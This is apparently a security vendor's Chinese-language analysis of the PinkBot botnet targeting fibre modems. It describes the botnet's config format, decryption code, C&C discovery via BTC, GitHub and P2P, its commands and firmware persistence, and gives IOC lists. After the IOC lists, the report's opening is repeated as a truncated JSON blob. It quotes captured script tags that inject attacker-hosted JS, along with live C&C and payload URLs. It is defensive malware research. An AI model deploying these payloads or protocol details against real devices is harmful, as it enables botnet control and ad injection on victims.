PinkBot 技术架构
PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。
配置信息
对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：
{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//gitee.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。
2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。
3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。
4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。
5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。
6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。
配置信息的保护
通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：
def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：
1. 签名校验使用的密码库为 mbedtls；
2. 签名算法为 ECDSA；
3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；
4. 验签所用公钥为： 04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E
配置信息的分发
除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。
a) 通过第三方服务分发配置信息
1. 通过 BTC+GITHUB 分发配置信息
该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。
其中，模式为P!!<base64>I!!行是配置签名，模式为N!!<base64>K!!行是配置信息的密文。
但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：
对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 ...!<base64>...? 的字串，比如我们最近找到的一个就是 ...!L215cG9sbzExMS92Zmc=...? 将这个base64 还原，就是隐藏项目的地址了 mypolo111/vfg
再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。
另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：
PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。
2. 通过 百度tieba 分发配置信息
攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。
2022年3月1日，百度的同事找到了贴吧相关。pkbidu_001,以及多个该账号相关的帖子https://tieba.baidu.com/p/5949662828?red_tag=2156548834 和 https://tieba.baidu.com/p/6418396904?pid=129106150828&cid=#129106150828
其帖子内容经过base64编码解密后，可直接关联到 pink。
$ echo aHR0cDovL2NuYy5waW5rbGFuZGVyLmNvbS9w | base64 -d
http://cnc.pinklander.com/p
$ echo aHR0cHM6Ly9naXRodWIuY29tL215cG9sbzExMS92Zmcv | base64 -d
https://github.com/mypolo111/vfg/
b) 通过 P2P 方式分发配置信息
1. P2P-Over-UDP123 分发配置信息
Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 1C 00 00 00 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：
* 当目标Bot未取得主控信息时回复 1D 00 00 00；
* 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。
下图是最近捕获到的UDP-123 传递的配置信息。
2. 通过 P2P-Over-TCP 分发配置信息
Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：
交互协议的格式同UDP123上的相同。
c) 通过 CNC 分发配置信息
攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。
PinkBot 指令
指令格式
每条指令至少包含7字节，含义依此如下：
1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。
2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。
3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。
4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。
这里附上一张截图供参阅，其中红框标记的就是指令字段：
指令传输方式
a) 通讯加密
上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：
1. 使用的密码学库为：mbedtls;
2. 密钥交换阶段使用的交换算法 ecdh，加载曲线为 MBEDTLS_ECP_DP_CURVE25519;
3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D
4. 报文加密/解密阶段使用的算法为 aes, key 为密钥交换后的secret，加载参数为 MBEDTLS_AES_ENCRYPT 和MBEDTLS_AES_DECRYPT;
5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。
b) 指令内容编码
为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库nanopb 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。
指令功能
PinkBot 指令具有丰富的控制能力：
1. 文件下载
2. 系统命令执行
3. DDoS攻击（HTTP攻击和 UDP 攻击）
4. 扫描功能（扫描的具体内容可以通过指令设置）
5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）
6. 自身更新（将新版本保存到 /tmp/client 后运行）
7. P2P节点列表同步（直接推送一组P2P节点到Bot）
8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）
9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）
10. 下载文件并执行
11. 停止攻击
12. 重置watchdog
PinkBot 持久化方式
与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。
下图是被感染后新增/修改的文件列表：
其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。
关键文件说明：
* /bin/protect：md5:9ec5bd857b998e60663e88a70480b828
protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。
* /bin/tr69c: md5:451a3cf94191c64b5cd1be1a80be7799
tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。
PinkBot 规模评估与指令跟踪
规模评估
前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。
指令跟踪
我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
番外：与 PinkBot 对抗的那些事儿
在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。
这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。
设备厂商的对抗（此章节涉及到厂商利益，慎重公开）
根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。
第一次对抗: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。
第二次对抗：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。
第三次对抗：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。
最后的方案：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。
复盘总结：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。
GITHUB 封相关账号
我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。
目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。
复盘总结：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.
IOC
C&C地址
通过长期跟踪，攻击者使用过的CNC地址有：
cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
PS: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。
同步服务
PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的配置信息中。
http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//gitee.com/b9g/zt/raw/master/dlist.txt
https[:]//gitee.com/bg64/gy/raw/master/dlist.txt
https[:]//gitee.com/bg64/xt/raw/master/dlist.txt
https[:]//gitee.com/d3fg/su/raw/master/dlist.txt
https[:]//gitee.com/fe354/xx/raw/master/dlist.txt
https[:]//gitee.com/fh8y/i9/raw/master/dlist.txt
https[:]//gitee.com/g6y/qu/raw/master/dlist.txt
https[:]//gitee.com/g7u/hi/raw/master/dlist.txt
https[:]//gitee.com/gb7e/sh/raw/master/dlist.txt
https[:]//gitee.com/ggf2/zt/raw/master/dlist.txt
https[:]//gitee.com/hni/cfi/raw/master/dlist.txt
https[:]//gitee.com/ji9/zg/raw/master/dlist.txt
https[:]//gitee.com/johncase/zip/raw/master/dlist.txt
https[:]//gitee.com/k9o/st/raw/master/dlist.txt
https[:]//gitee.com/k9o/u8/raw/master/dlist.txt
https[:]//gitee.com/mh8i/zt/raw/master/dlist.txt
https[:]//gitee.com/nick908/hello/raw/master/dlist.txt
https[:]//gitee.com/nick908/sc/raw/master/dlist.txt
https[:]//gitee.com/oubv/bh/raw/master/dlist.txt
https[:]//gitee.com/s7y/xx/raw/master/dlist.txt
https[:]//gitee.com/t9i/y7/raw/master/dlist.txt
https[:]//gitee.com/u8i/fo/raw/master/dlist.txt
https[:]//gitee.com/ujh5/ho/raw/master/dlist.txt
https[:]//gitee.com/vd5/y8/raw/master/dlist.txt
https[:]//gitee.com/vd5/y9/raw/master/dlist.txt
https[:]//gitee.com/vr6/sh/raw/master/dlist.txt
https[:]//gitee.com/y7u/bh/raw/master/dlist.txt
https[:]//gitee.com/y7u/eg/raw/master/dlist.txt
https[:]//gitee.com/y7u/lp/raw/master/dlist.txt
https[:]//gitee.com/y7u/rt/raw/master/dlist.txt
https[:]//gitee.com/y7u/xc/raw/master/dlist.txt
https[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt
https[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt
https[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
MD5
通过跟踪获取到的相关样本（ELF）汇总如下：
9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 概述\n2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。\n\nPinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。\n\nPinkBot 具有很强的技术能力：\n\n1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用； \n2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；\n3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。\n\n可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。\n\n# 规模及影响范围\n我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：\n1.\t2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;\n2.\t2020-01-02从CNCERT拿到的统计结果：\n```“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”```\n3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。\n\n在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。\n\n目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。\n\n# PinkBot 技术架构\nPinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。\n\n## 配置信息\n\n对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：\n\n```\n{\n \"verify\": \"1585065675\",\n \"cncip1\": \"144.202.109.110\",\n \"cncport1\": \"32876\",\n \"dlc\": \"5b62596bc1453d51cc7241086464f294\",\n \"dl\": \"http【:】//155.138.140.245/dlist.txt\",\n \"dlc1\": \"484417e6f65c8e18e684d60c03c4680a\",\n \"dl1\": \"https【:】//gitee.com/johncase/zip/raw/master/dlist.txt\",\n \"sd0\": \"1.1.1.1\",\n \"sdp0\": \"443\",\n \"srvk\": \"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\": \"1\"\n}\n```\n\n1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。\n2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。\n3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。\n4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。\n5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。\n6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。\n\n### 配置信息的保护\n通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。\n为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：\n\n```\ndef easydecrpyt(message):\n res = \"\"\n for cursor in range(0, len(message)):\n mbt = ord(message[cursor])\n res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))\n return res\n```\n\n信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：\n\n1. 签名校验使用的密码库为 mbedtls；\n2. 签名算法为 ECDSA；\n3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；\n4. 验签所用公钥为： `04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E`\n\n\n### 配置信息的分发\n\n除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。\n\n#### a) 通过第三方服务分发配置信息\n\n1. 通过 BTC+GITHUB 分发配置信息\n\n该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。\n\n\n\n其中，模式为`P!!<base64>I!!`行是配置签名，模式为`N!!<base64>K!!`行是配置信息的密文。\n\n但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包\\[`1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF`\\] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：\n\n\n\n对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 `...!<base64>...?` 的字串，比如我们最近找到的一个就是 `...!L215cG9sbzExMS92Zmc=...?` 将这个base64 还原，就是隐藏项目的地址了 `mypolo111/vfg`\n\n\n再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。\n\n另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：\n\n\n\n\nPS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。\n\n2. 通过 百度tieba 分发配置信息\n\n攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。\n\n2022年3月1日，百度的同事找到了贴吧相关。[pkbidu_001](https://tieba.baidu.com/home/main?id=tb.1.17f95408.DWQgYsTdICFVLfwoPkWw4g&fr=pb),以及多个该账号相关的帖子https://tieba.baidu.com/p/5949662828?red_tag=2156548834 和 https://tieba.baidu.com/p/6418396904?pid=129106150828&cid=#129106150828\n\n其帖子内容经过base64编码解密后，可直接关联到 pink。\n\n```\n$ echo aHR0cDovL2NuYy5waW5rbGFuZGVyLmNvbS9w | base64 -d\nhttp://cnc.pinklander.com/p\n$ echo aHR0cHM6Ly9naXRodWIuY29tL215cG9sbzExMS92Zmcv | base64 -d\nhttps://github.com/mypolo111/vfg/\n```\n\n\n\n\n\n#### b) 通过 P2P 方式分发配置信息\n1. P2P-Over-UDP123 分发配置信息\n\nBot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（\"114.25.0.0/16\"，\"36.227.0.0/16\"，\"59.115.0.0/16\"，\"1.224.0.0/16\"）发起 Peer 探测请求，内容为 `1C 00 00 00` 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：\n\n - 当目标Bot未取得主控信息时回复 `1D 00 00 00`；\n - 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。\n\n下图是最近捕获到的UDP-123 传递的配置信息。\n\n\n\n2. 通过 P2P-Over-TCP 分发配置信息\n\nBot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：\n\n\n\n交互协议的格式同UDP123上的相同。\n\n#### c) 通过 CNC 分发配置信息\n\n攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。\n\n\n## PinkBot 指令\n\n### 指令格式\n\n每条指令至少包含7字节，含义依此如下：\n\n1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。\n2. 